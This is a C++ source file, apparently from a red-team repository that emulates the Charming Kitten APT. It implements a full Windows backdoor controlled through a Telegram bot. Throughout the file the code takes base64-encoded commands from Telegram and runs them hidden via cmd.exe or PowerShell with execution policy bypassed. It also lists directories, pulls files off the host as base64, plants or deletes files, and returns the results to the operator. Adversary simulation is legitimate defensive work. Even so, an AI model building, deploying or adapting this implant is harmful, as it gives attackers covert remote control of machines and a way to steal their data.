APTs-Adversary-Simulation/Iranian APT/Charming Kitten/CHAR.cpp

// x86_64-w64-mingw32-g++ -static -o CHAR.exe CHAR.cpp -lwinhttp -std=c++17 -lstdc++fs -lws2_32

#include <windows.h>
#include <winhttp.h>
#include <string>
#include <vector>
#include <map>
#include <chrono>
#include <thread>
#include <fstream>
#include <sstream>
#include <filesystem>
#include <cstdlib>
#include <ctime>
#include <iomanip>
#include <memory>
#include <algorithm>
#include <cstdio>
#include <iostream>

#pragma comment(lib, "winhttp.lib")


#include <cstdint>
#include <cstring>
#include <exception>
#include <initializer_list>
#include <iosfwd>
#include <iterator>
#include <type_traits>
#include <utility>

namespace nlohmann {
    class json {
    private:
        enum class value_t {
            null,
            object,
            array,
            string,
            boolean,
            number_integer,
            number_unsigned,
            number_float,
            binary
        };

        struct storage {
            value_t type = value_t::null;
            std::string string_value;
            std::map<std::string, json> object_value;
            std::vector<json> array_value;
            bool boolean_value = false;
            int64_t number_integer_value = 0;
            uint64_t number_unsigned_value = 0;
            double number_float_value = 0.0;
        };

        std::shared_ptr<storage> data;

    public:
        json() : data(std::make_shared<storage>()) {}
        
        json(std::nullptr_t) : data(std::make_shared<storage>()) {
            data->type = value_t::null;
        }

        json(const std::string& s) : data(std::make_shared<storage>()) {
            data->type = value_t::string;
            data->string_value = s;
        }

        json(const char* s) : data(std::make_shared<storage>()) {
            data->type = value_t::string;
            data->string_value = s;
        }

        json(bool b) : data(std::make_shared<storage>()) {
            data->type = value_t::boolean;
            data->boolean_value = b;
        }

        json(int64_t i) : data(std::make_shared<storage>()) {
            data->type = value_t::number_integer;
            data->number_integer_value = i;
        }

        json(uint64_t u) : data(std::make_shared<storage>()) {
            data->type = value_t::number_unsigned;
            data->number_unsigned_value = u;
        }

        json(double d) : data(std::make_shared<storage>()) {
            data->type = value_t::number_float;
            data->number_float_value = d;
        }

        json(const std::map<std::string, json>& obj) : data(std::make_shared<storage>()) {
            data->type = value_t::object;
            data->object_value = obj;
        }

        json(const std::vector<json>& arr) : data(std::make_shared<storage>()) {
            data->type = value_t::array;
            data->array_value = arr;
        }

        json(std::initializer_list<json> init) : data(std::make_shared<storage>()) {
            data->type = value_t::array;
            data->array_value = init;
        }

        json(const json& other) : data(other.data) {}

        static json object(std::initializer_list<std::pair<const std::string, json>> init) {
            json j;
            j.data->type = value_t::object;
            for (const auto& p : init) {
                j.data->object_value[p.first] = p.second;
            }
            return j;
        }

        static json array(std::initializer_list<json> init) {
            json j;
            j.data->type = value_t::array;
            j.data->array_value = init;
            return j;
        }

        bool is_null() const { return data->type == value_t::null; }
        bool is_object() const { return data->type == value_t::object; }
        bool is_array() const { return data->type == value_t::array; }
        bool is_string() const { return data->type == value_t::string; }
        bool is_boolean() const { return data->type == value_t::boolean; }
        bool is_number() const { 
            return data->type == value_t::number_integer || 
                   data->type == value_t::number_unsigned || 
                   data->type == value_t::number_float;
        }
        bool is_number_integer() const { return data->type == value_t::number_integer || data->type == value_t::number_unsigned; }
        bool is_number_float() const { return data->type == value_t::number_float; }

        std::string get_string() const { return data->string_value; }
        bool get_boolean() const { return data->boolean_value; }
        int64_t get_int64() const { return data->number_integer_value; }
        uint64_t get_uint64() const { return data->number_unsigned_value; }
        double get_double() const { return data->number_float_value; }

        json& operator[](const std::string& key) {
            if (data->type != value_t::object) {
                data->type = value_t::object;
                data->object_value.clear();
            }
            return data->object_value[key];
        }

        const json& operator[](const std::string& key) const {
            static json null_json;
            if (data->type != value_t::object) {
                return null_json;
            }
            auto it = data->object_value.find(key);
            if (it == data->object_value.end()) {
                return null_json;
            }
            return it->second;
        }

        json& operator[](size_t index) {
            if (data->type != value_t::array) {
                data->type = value_t::array;
                data->array_value.clear();
            }
            if (index >= data->array_value.size()) {
                data->array_value.resize(index + 1);
            }
            return data->array_value[index];
        }

        const json& operator[](size_t index) const {
            static json null_json;
            if (data->type != value_t::array || index >= data->array_value.size()) {
                return null_json;
            }
            return data->array_value[index];
        }

        bool contains(const std::string& key) const {
            if (data->type != value_t::object) {
                return false;
            }
            return data->object_value.find(key) != data->object_value.end();
        }

        size_t size() const {
            if (data->type == value_t::array) {
                return data->array_value.size();
            } else if (data->type == value_t::object) {
                return data->object_value.size();
            }
            return 0;
        }

        void push_back(const json& value) {
            if (data->type != value_t::array) {
                data->type = value_t::array;
                data->array_value.clear();
            }
            data->array_value.push_back(value);
        }

        std::vector<json>::iterator begin() { return data->array_value.begin(); }
        std::vector<json>::iterator end() { return data->array_value.end(); }
        std::vector<json>::const_iterator begin() const { return data->array_value.begin(); }
        std::vector<json>::const_iterator end() const { return data->array_value.end(); }
        std::vector<json>::const_iterator cbegin() const { return data->array_value.cbegin(); }
        std::vector<json>::const_iterator cend() const { return data->array_value.cend(); }

        std::map<std::string, json>::iterator begin_object() { return data->object_value.begin(); }
        std::map<std::string, json>::iterator end_object() { return data->object_value.end(); }
        std::map<std::string, json>::const_iterator begin_object() const { return data->object_value.begin(); }
        std::map<std::string, json>::const_iterator end_object() const { return data->object_value.end(); }

        std::string dump(int indent = -1) const {
            return serialize(*this, indent);
        }

        static json parse(const std::string& str) {
            json result;
            size_t pos = 0;
            result = parse_value(str, pos);
            return result;
        }

    private:
        static json parse_value(const std::string& str, size_t& pos) {
            skip_whitespace(str, pos);
            
            if (pos >= str.length()) {
                return json(nullptr);
            }

            char c = str[pos];
            
            if (c == 'n') {
                if (str.substr(pos, 4) == "null") {
                    pos += 4;
                    return json(nullptr);
                }
            } else if (c == 't') {
                if (str.substr(pos, 4) == "true") {
                    pos += 4;
                    return json(true);
                }
            } else if (c == 'f') {
                if (str.substr(pos, 5) == "false") {
                    pos += 5;
                    return json(false);
                }
            } else if (c == '"') {
                return json(parse_string(str, pos));
            } else if (c == '{') {
                pos++;
                json obj;
                obj.data->type = value_t::object;
                
                skip_whitespace(str, pos);
                if (pos < str.length() && str[pos] == '}') {
                    pos++;
                    return obj;
                }
                
                while (pos < str.length()) {
                    skip_whitespace(str, pos);
                    if (str[pos] != '"') break;
                    
                    std::string key = parse_string(str, pos);
                    skip_whitespace(str, pos);
                    
                    if (pos >= str.length() || str[pos] != ':') break;
                    pos++;
                    
                    json value = parse_value(str, pos);
                    obj.data->object_value[key] = value;
                    
                    skip_whitespace(str, pos);
                    if (pos < str.length() && str[pos] == ',') {
                        pos++;
                        continue;
                    } else if (pos < str.length() && str[pos] == '}') {
                        pos++;
                        break;
                    } else {
                        break;
                    }
                }
                return obj;
            } else if (c == '[') {
                pos++;
                json arr;
                arr.data->type = value_t::array;
                
                skip_whitespace(str, pos);
                if (pos < str.length() && str[pos] == ']') {
                    pos++;
                    return arr;
                }
                
                while (pos < str.length()) {
                    json value = parse_value(str, pos);
                    arr.data->array_value.push_back(value);
                    
                    skip_whitespace(str, pos);
                    if (pos < str.length() && str[pos] == ',') {
                        pos++;
                        continue;
                    } else if (pos < str.length() && str[pos] == ']') {
                        pos++;
                        break;
                    } else {
                        break;
                    }
                }
                return arr;
            } else if (c == '-' || (c >= '0' && c <= '9')) {
                return parse_number(str, pos);
            }
            
            return json(nullptr);
        }

        static void skip_whitespace(const std::string& str, size_t& pos) {
            while (pos < str.length() && (str[pos] == ' ' || str[pos] == '\n' || str[pos] == '\r' || str[pos] == '\t')) {
                pos++;
            }
        }

        static std::string parse_string(const std::string& str, size_t& pos) {
            pos++;
            std::string result;
            
            while (pos < str.length()) {
                char c = str[pos];
                if (c == '"') {
                    pos++;
                    break;
                } else if (c == '\\') {
                    pos++;
                    if (pos >= str.length()) break;
                    char esc = str[pos];
                    switch (esc) {
                        case '"': result += '"'; break;
                        case '\\': result += '\\'; break;
                        case '/': result += '/'; break;
                        case 'b': result += '\b'; break;
                        case 'f': result += '\f'; break;
                        case 'n': result += '\n'; break;
                        case 'r': result += '\r'; break;
                        case 't': result += '\t'; break;
                        default: result += esc; break;
                    }
                    pos++;
                } else {
                    result += c;
                    pos++;
                }
            }
            return result;
        }

        static json parse_number(const std::string& str, size_t& pos) {
            size_t start = pos;
            bool is_float = false;
            
            if (str[pos] == '-') pos++;
            while (pos < str.length() && str[pos] >= '0' && str[pos] <= '9') pos++;
            if (pos < str.length() && str[pos] == '.') {
                is_float = true;
                pos++;
                while (pos < str.length() && str[pos] >= '0' && str[pos] <= '9') pos++;
            }
            if (pos < str.length() && (str[pos] == 'e' || str[pos] == 'E')) {
                is_float = true;
                pos++;
                if (pos < str.length() && (str[pos] == '+' || str[pos] == '-')) pos++;
                while (pos < str.length() && str[pos] >= '0' && str[pos] <= '9') pos++;
            }
            
            std::string num_str = str.substr(start, pos - start);
            
            if (is_float) {
                return json(std::stod(num_str));
            } else {
                try {
                    uint64_t u = std::stoull(num_str);
                    if (u <= INT64_MAX) {
                        return json(static_cast<int64_t>(u));
                    }
                    return json(u);
                } catch (...) {
                    return json(static_cast<int64_t>(std::stoll(num_str)));
                }
            }
        }

        static std::string serialize(const json& j, int indent = -1, int current_indent = 0) {
            if (j.is_null()) {
                return "null";
            } else if (j.is_boolean()) {
                return j.get_boolean() ? "true" : "false";
            } else if (j.is_string()) {
                return "\"" + escape_string(j.get_string()) + "\"";
            } else if (j.is_number_integer()) {
                if (j.data->type == value_t::number_integer) {
                    return std::to_string(j.get_int64());
                } else {
                    return std::to_string(j.get_uint64());
                }
            } else if (j.is_number_float()) {
                return std::to_string(j.get_double());
            } else if (j.is_array()) {
                std::string result = "[";
                for (size_t i = 0; i < j.data->array_value.size(); i++) {
                    if (i > 0) result += ",";
                    if (indent >= 0) {
                        result += "\n" + std::string(current_indent + indent, ' ');
                    }
                    result += serialize(j.data->array_value[i], indent, current_indent + indent);
                }
                if (indent >= 0 && !j.data->array_value.empty()) {
                    result += "\n" + std::string(current_indent, ' ');
                }
                result += "]";
                return result;
            } else if (j.is_object()) {
                std::string result = "{";
                bool first = true;
                for (const auto& pair : j.data->object_value) {
                    if (!first) result += ",";
                    first = false;
                    if (indent >= 0) {
                        result += "\n" + std::string(current_indent + indent, ' ');
                    }
                    result += "\"" + escape_string(pair.first) + "\":";
                    if (indent >= 0) {
                        result += " ";
                    }
                    result += serialize(pair.second, indent, current_indent + indent);
                }
                if (indent >= 0 && !j.data->object_value.empty()) {
                    result += "\n" + std::string(current_indent, ' ');
                }
                result += "}";
                return result;
            }
            return "null";
        }

        static std::string escape_string(const std::string& s) {
            std::string result;
            for (char c : s) {
                switch (c) {
                    case '"': result += "\\\""; break;
                    case '\\': result += "\\\\"; break;
                    case '\b': result += "\\b"; break;
                    case '\f': result += "\\f"; break;
                    case '\n': result += "\\n"; break;
                    case '\r': result += "\\r"; break;
                    case '\t': result += "\\t"; break;
                    default: result += c; break;
                }
            }
            return result;
        }
    };

    inline json parse(const std::string& s) {
        return json::parse(s);
    }
}


using json = nlohmann::json;


#define BOT_TOKEN "Put Your BOT TOKEN"
#define MAX_MESSAGE_LENGTH 4000


struct UserMessageBuffer {
    std::string parts;
    time_t timestamp;
};

std::map<long long, UserMessageBuffer> user_message_buffer;


std::string base64_encode(const std::vector<unsigned char>& data) {
    static const char* base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    std::string result;
    int i = 0;
    int j = 0;
    unsigned char char_array_3[3];
    unsigned char char_array_4[4];

    for (unsigned char c : data) {
        char_array_3[i++] = c;
        if (i == 3) {
            char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
            char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
            char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
            char_array_4[3] = char_array_3[2] & 0x3f;

            for (i = 0; i < 4; i++) {
                result += base64_chars[char_array_4[i]];
            }
            i = 0;
        }
    }

    if (i) {
        for (j = i; j < 3; j++) {
            char_array_3[j] = '\0';
        }

        char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
        char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
        char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
        char_array_4[3] = char_array_3[2] & 0x3f;

        for (j = 0; j < i + 1; j++) {
            result += base64_chars[char_array_4[j]];
        }

        while (i++ < 3) {
            result += '=';
        }
    }

    return result;
}


std::string base64_decode(const std::string& encoded) {
    static const std::string base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    

    std::string clean_encoded;
    for (char c : encoded) {
        if (c == '\n' || c == '\r' || c == ' ') continue;
        clean_encoded += c;
    }
    
    std::string result;
    std::vector<int> T(256, -1);
    for (int i = 0; i < 64; i++) {
        T[static_cast<unsigned char>(base64_chars[i])] = i;
    }

    int val = 0, valb = -8;
    for (unsigned char c : clean_encoded) {
        if (T[c] == -1) break;
        val = (val << 6) + T[c];
        valb += 6;
        if (valb >= 0) {
            result.push_back(static_cast<char>((val >> valb) & 0xFF));
            valb -= 8;
        }
    }
    return result;
}


std::string decode_base64_command(const std::string& raw_message) {
    try {
        std::cout << "[DEBUG] Raw message length: " << raw_message.length() << " characters" << std::endl;
        
        if (raw_message.find("[B64]") == 0) {
            std::string b64_part = raw_message.substr(5);
            std::cout << "[DEBUG] Base64 part length: " << b64_part.length() << " characters" << std::endl;
            
            std::string decoded = base64_decode(b64_part);
            
            std::cout << "[DEBUG] Decoded command length: " << decoded.length() << " characters" << std::endl;
            
            if (decoded.length() >= 2) {
                std::cout << "[DEBUG] Decoded starts with: " << decoded.substr(0, std::min((size_t)20, decoded.length())) << "..." << std::endl;
            }
            
            return decoded;
        }
        return raw_message;
    } catch (const std::exception& e) {
        std::cout << "[DEBUG] Error in decode_base64_command: " << e.what() << std::endl;
        return raw_message;
    }
}


std::string run_command(const std::string& command) {
    bool use_powershell = (command.length() >= 2 && command.substr(0, 2) == "EP");
    std::string cmd_to_execute = use_powershell ? command.substr(2) : command;
    
    if (use_powershell) {
        cmd_to_execute.erase(0, cmd_to_execute.find_first_not_of(" \t\r\n"));
        cmd_to_execute.erase(cmd_to_execute.find_last_not_of(" \t\r\n") + 1);
    }
    
    if (use_powershell && cmd_to_execute.empty()) {
        return "Empty or invalid PowerShell command";
    }
    

    if (use_powershell) {
        std::string escaped_cmd;
        for (char c : cmd_to_execute) {
            if (c == '"') escaped_cmd += "\\\"";
            else escaped_cmd += c;
        }
        cmd_to_execute = escaped_cmd;
    }
    

    std::string full_command = use_powershell
        ? "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command \"" + cmd_to_execute + "\""
        : "cmd.exe /c " + cmd_to_execute;
    
    std::cout << "[DEBUG] Full command length: " << full_command.length() << " characters" << std::endl;
    

    SECURITY_ATTRIBUTES sa{};
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = TRUE;
    HANDLE hStdoutRd = nullptr;
    HANDLE hStdoutWr = nullptr;
    
    if (!CreatePipe(&hStdoutRd, &hStdoutWr, &sa, 0)) {
        return "Failed to create pipe";
    }
    SetHandleInformation(hStdoutRd, HANDLE_FLAG_INHERIT, 0);
    
    PROCESS_INFORMATION pi{};
    STARTUPINFOA si{};
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdOutput = hStdoutWr;
    si.hStdError = hStdoutWr;
    
    std::vector<char> cmd_line(full_command.begin(), full_command.end());
    cmd_line.push_back('\0');
    
    BOOL success = CreateProcessA(nullptr, cmd_line.data(), nullptr, nullptr, TRUE, CREATE_NO_WINDOW, nullptr, nullptr, &si, &pi);
    CloseHandle(hStdoutWr);
    
    if (!success) {
        CloseHandle(hStdoutRd);
        DWORD error = GetLastError();
        return "Failed to create process: " + std::to_string(error);
    }
    
    std::string result;
    DWORD bytesRead;
    char buffer[4096];
    while (ReadFile(hStdoutRd, buffer, sizeof(buffer) - 1, &bytesRead, nullptr) && bytesRead > 0) {
        buffer[bytesRead] = '\0';
        result += buffer;
    }
    
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    CloseHandle(hStdoutRd);
    
    return result;
}


json browse_directory(const std::string& path) {
    json result;
    try {
        std::string actual_path = path;
        if (actual_path.find('~') == 0) {
            char* home = getenv("USERPROFILE");
            if (home) {
                actual_path = std::string(home) + actual_path.substr(1);
            }
        }

        if (!std::filesystem::exists(actual_path)) {
            result["success"] = false;
            result["error"] = "Path does not exist: " + actual_path;
            result["current_path"] = actual_path;
            result["parent_path"] = nullptr;
            result["items"] = json::array({});
            return result;
        }

        json items = json::array({});
        for (const auto& entry : std::filesystem::directory_iterator(actual_path)) {
            try {
                json item;
                item["name"] = entry.path().filename().string();
                item["type"] = entry.is_directory() ? "directory" : "file";
                item["size"] = entry.is_directory() ? 0 : entry.file_size();
                
                auto ftime = entry.last_write_time();
                auto time_t = std::chrono::system_clock::to_time_t(
                    std::chrono::time_point_cast<std::chrono::system_clock::duration>(
                        ftime - std::filesystem::file_time_type::clock::now() + 
                        std::chrono::system_clock::now()
                    )
                );
                std::stringstream ss;
                ss << std::put_time(std::localtime(&time_t), "%Y-%m-%d %H:%M:%S");
                item["modified_time"] = ss.str();
                
                items.push_back(item);
            } catch (const std::exception&) {
                continue;
            }
        }

        result["success"] = true;
        result["current_path"] = actual_path;
        
        std::filesystem::path parent = std::filesystem::path(actual_path).parent_path();
        if (actual_path.size() >= 2 && actual_path[1] == ':' && actual_path.size() == 3 && actual_path[2] == '\\') {
            result["parent_path"] = nullptr;
        } else if (parent.empty()) {
            result["parent_path"] = nullptr;
        } else {
            result["parent_path"] = parent.string();
        }
        result["items"] = items;
    } catch (const std::exception& e) {
        result["success"] = false;
        result["error"] = e.what();
        result["current_path"] = path;
        result["parent_path"] = nullptr;
        result["items"] = json::array({});
    }
    return result;
}


std::string download_file(const std::string& filepath) {
    try {
        if (!std::filesystem::exists(filepath)) {
            return "ERROR: File not found: " + filepath;
        }
        
        std::ifstream file(filepath, std::ios::binary);
        if (!file) {
            return "ERROR: Cannot open file: " + filepath;
        }
        
        std::vector<unsigned char> file_data((std::istreambuf_iterator<char>(file)), 
                                              std::istreambuf_iterator<char>());
        file.close();
        
        std::string filename = std::filesystem::path(filepath).filename().string();
        size_t filesize = file_data.size();
        std::string encoded = base64_encode(file_data);
        
        return "file-data:" + filename + "|" + std::to_string(filesize) + "|" + encoded;
    } catch (const std::exception& e) {
        return "ERROR: " + std::string(e.what());
    }
}


std::string upload_file(const std::string& filepath, const std::string& filedata_b64) {
    try {
        std::string decoded_data = base64_decode(filedata_b64);
        std::vector<unsigned char> file_data(decoded_data.begin(), decoded_data.end());
        
        std::filesystem::path path_obj(filepath);
        std::filesystem::create_directories(path_obj.parent_path());
        
        std::ofstream file(filepath, std::ios::binary);
        if (!file) {
            return "ERROR: Cannot write file: " + filepath;
        }
        file.write(reinterpret_cast<const char*>(file_data.data()), file_data.size());
        file.close();
        
        return "SUCCESS: File uploaded to " + filepath;
    } catch (const std::exception& e) {
        return "ERROR: " + std::string(e.what());
    }
}


std::string delete_file(const std::string& filepath) {
    try {
        if (std::filesystem::is_directory(filepath)) {
            std::filesystem::remove(filepath);
        } else {
            std::filesystem::remove(filepath);
        }
        return "SUCCESS: Deleted " + filepath;
    } catch (const std::exception& e) {
        return "ERROR: " + std::string(e.what());
    }
}


std::string rename_file(const std::string& old_path, const std::string& new_path) {
    try {
        std::filesystem::rename(old_path, new_path);
        return "SUCCESS: Renamed to " + new_path;
    } catch (const std::exception& e) {
        return "ERROR: " + std::string(e.what());
    }
}


std::string execute_command(const std::string& cmd) {
    std::string command = cmd;
    while (!command.empty() && command.back() == ' ') command.pop_back();
    
    std::cout << "[DEBUG] execute_command received length: " << command.length() << " characters" << std::endl;
    
    if (command.empty()) {
        return "[no command received]";
    }


    if (command.find("browse:") == 0) {
        std::cout << "[DEBUG] Executing browse command" << std::endl;
        std::string browse_path = command.substr(7);
        while (!browse_path.empty() && browse_path.front() == ' ') browse_path.erase(0, 1);
        if (browse_path.empty()) {
            browse_path = std::filesystem::current_path().string();
        }
        json dir_data = browse_directory(browse_path);
        std::string json_str = dir_data.dump();
        std::vector<unsigned char> json_bytes(json_str.begin(), json_str.end());
        std::string base64_data = base64_encode(json_bytes);
        return "browse-data-" + base64_data;
    }

    if (command.find("download-file:") == 0) {
        std::cout << "[DEBUG] Executing download-file command" << std::endl;
        std::string filepath = command.substr(14);
        while (!filepath.empty() && filepath.front() == ' ') filepath.erase(0, 1);
        return download_file(filepath);
    }

    if (command.find("upload-file:") == 0) {
        std::cout << "[DEBUG] Executing upload-file command" << std::endl;
        std::string rest = command.substr(12);
        size_t sep_pos = rest.find('|');
        if (sep_pos != std::string::npos) {
            std::string filepath = rest.substr(0, sep_pos);
            std::string filedata_b64 = rest.substr(sep_pos + 1);
            return upload_file(filepath, filedata_b64);
        } else {
            return "ERROR: Invalid upload format";
        }
    }

    if (command.find("delete-file:") == 0) {
        std::cout << "[DEBUG] Executing delete-file command" << std::endl;
        std::string filepath = command.substr(12);
        while (!filepath.empty() && filepath.front() == ' ') filepath.erase(0, 1);
        return delete_file(filepath);
    }

    if (command.find("rename-file:") == 0) {
        std::cout << "[DEBUG] Executing rename-file command" << std::endl;
        std::string rest = command.substr(12);
        size_t sep_pos = rest.find('|');
        if (sep_pos != std::string::npos) {
            std::string old_path = rest.substr(0, sep_pos);
            std::string new_path = rest.substr(sep_pos + 1);
            return rename_file(old_path, new_path);
        } else {
            return "ERROR: Invalid rename format";
        }
    }


    return run_command(command);
}


std::vector<std::string> split_output(const std::string& output) {
    std::vector<std::string> parts;
    if (output.length() <= MAX_MESSAGE_LENGTH) {
        parts.push_back(output);
        return parts;
    }
    
    size_t start = 0;
    while (start < output.length()) {
        size_t end = start + MAX_MESSAGE_LENGTH;
        if (end < output.length()) {
            size_t newline_pos = output.rfind('\n', end);
            if (newline_pos > start && newline_pos != std::string::npos) {
                end = newline_pos + 1;
            }
        }
        parts.push_back(output.substr(start, end - start));
        start = end;
    }
    return parts;
}


bool send_telegram_message(const std::string& chat_id, const std::string& text) {
    HINTERNET hSession = WinHttpOpen(L"TelegramBot/1.0", 
                                      WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                                      WINHTTP_NO_PROXY_NAME,
                                      WINHTTP_NO_PROXY_BYPASS, 0);
    if (!hSession) return false;

    HINTERNET hConnect = WinHttpConnect(hSession, L"api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT, 0);
    if (!hConnect) {
        WinHttpCloseHandle(hSession);
        return false;
    }

    std::string encoded_text;
    for (char c : text) {
        if (c == ' ' || c == '&' || c == '=' || c == '?' || c == '%' || c == '+' || c == '\n' || c == '\r' || c == '`' || c == '*' || c == '_') {
            char hex[4];
            sprintf_s(hex, "%%%02X", (unsigned char)c);
            encoded_text += hex;
        } else {
            encoded_text += c;
        }
    }

    std::string request = "/bot" + std::string(BOT_TOKEN) + 
                         "/sendMessage?chat_id=" + chat_id + 
                         "&text=" + encoded_text + 
                         "&parse_mode=Markdown";

    std::wstring wrequest(request.begin(), request.end());
    
    HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", wrequest.c_str(),
                                            NULL, WINHTTP_NO_REFERER,
                                            WINHTTP_DEFAULT_ACCEPT_TYPES,
                                            WINHTTP_FLAG_SECURE);
    if (!hRequest) {
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        return false;
    }

    BOOL bResult = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
                                      WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
    if (bResult) {
        bResult = WinHttpReceiveResponse(hRequest, NULL);
    }

    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);

    return bResult == TRUE;
}


json get_updates(int offset = 0) {
    HINTERNET hSession = WinHttpOpen(L"TelegramBot/1.0", 
                                      WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                                      WINHTTP_NO_PROXY_NAME,
                                      WINHTTP_NO_PROXY_BYPASS, 0);
    if (!hSession) return json();

    HINTERNET hConnect = WinHttpConnect(hSession, L"api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT, 0);
    if (!hConnect) {
        WinHttpCloseHandle(hSession);
        return json();
    }

    std::string request = "/bot" + std::string(BOT_TOKEN) + 
                         "/getUpdates?offset=" + std::to_string(offset) + 
                         "&timeout=30";

    std::wstring wrequest(request.begin(), request.end());
    
    HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", wrequest.c_str(),
                                            NULL, WINHTTP_NO_REFERER,
                                            WINHTTP_DEFAULT_ACCEPT_TYPES,
                                            WINHTTP_FLAG_SECURE);
    if (!hRequest) {
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        return json();
    }

    BOOL bResult = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
                                      WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
    if (bResult) {
        bResult = WinHttpReceiveResponse(hRequest, NULL);
    }

    std::string response;
    if (bResult) {
        DWORD dwSize = 0;
        DWORD dwDownloaded = 0;
        do {
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) {
                break;
            }
            if (dwSize == 0) break;

            char* buffer = new char[dwSize + 1];
            ZeroMemory(buffer, dwSize + 1);
            if (WinHttpReadData(hRequest, (LPVOID)buffer, dwSize, &dwDownloaded)) {
                response += buffer;
            }
            delete[] buffer;
        } while (dwSize > 0);
    }

    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);

    try {
        return json::parse(response);
    } catch (const std::exception&) {
        return json();
    }
}


void process_message(const json& message) {
    try {
        long long chat_id = message["chat"]["id"].get_int64();
        std::string text = message["text"].get_string();
        
        while (!text.empty() && text.back() == ' ') text.pop_back();
        
        if (text == "exit" || text == "quit") {
            send_telegram_message(std::to_string(chat_id), "Shutting down...");
            std::cout << "Shutting down by user command..." << std::endl;
            exit(0);
        }

        if (text.length() >= 4 && text.substr(text.length() - 4) == "-end") {
            std::string clean_part = text.substr(0, text.length() - 4);
            
            std::string full_command;
            if (user_message_buffer.find(chat_id) != user_message_buffer.end()) {
                full_command = user_message_buffer[chat_id].parts + clean_part;
                user_message_buffer.erase(chat_id);
            } else {
                full_command = clean_part;
            }

            while (!full_command.empty() && full_command.front() == ' ') full_command.erase(0, 1);
            while (!full_command.empty() && full_command.back() == ' ') full_command.pop_back();

            std::cout << "[DEBUG] Full command before decode length: " << full_command.length() << " characters" << std::endl;


            std::string decoded_cmd = decode_base64_command(full_command);
            if (!decoded_cmd.empty()) {
                full_command = decoded_cmd;
            }

            std::cout << "[DEBUG] Full command after decode length: " << full_command.length() << " characters" << std::endl;

            std::string result = execute_command(full_command);
            std::vector<std::string> parts = split_output(result);
            
            for (size_t i = 0; i < parts.size(); i++) {
                std::string part = parts[i];
                if (i == parts.size() - 1) {
                    part += "-end";
                }
                send_telegram_message(std::to_string(chat_id), "```\n" + part + "\n```");
                std::this_thread::sleep_for(std::chrono::milliseconds(100));
            }
            return;
        }

        if (user_message_buffer.find(chat_id) == user_message_buffer.end()) {
            user_message_buffer[chat_id] = {"", time(nullptr)};
        }
        user_message_buffer[chat_id].parts += text;
        user_message_buffer[chat_id].timestamp = time(nullptr);
        
    } catch (const std::exception& e) {
        std::cerr << "Error processing message: " << e.what() << std::endl;
    }
}


int main() {
    std::cout << "Bot running..." << std::endl;
    int last_update_id = 0;
    
    while (true) {
        json updates = get_updates(last_update_id + 1);
        
        if (updates.contains("ok") && updates["ok"].get_boolean() && updates.contains("result")) {
            for (const auto& update : updates["result"]) {
                if (update.contains("update_id")) {
                    last_update_id = update["update_id"].get_int64();
                }
                
                if (update.contains("message") && update["message"].contains("text")) {
                    process_message(update["message"]);
                }
            }
        }
        
        std::this_thread::sleep_for(std::chrono::seconds(1));
    }
    
    return 0;
}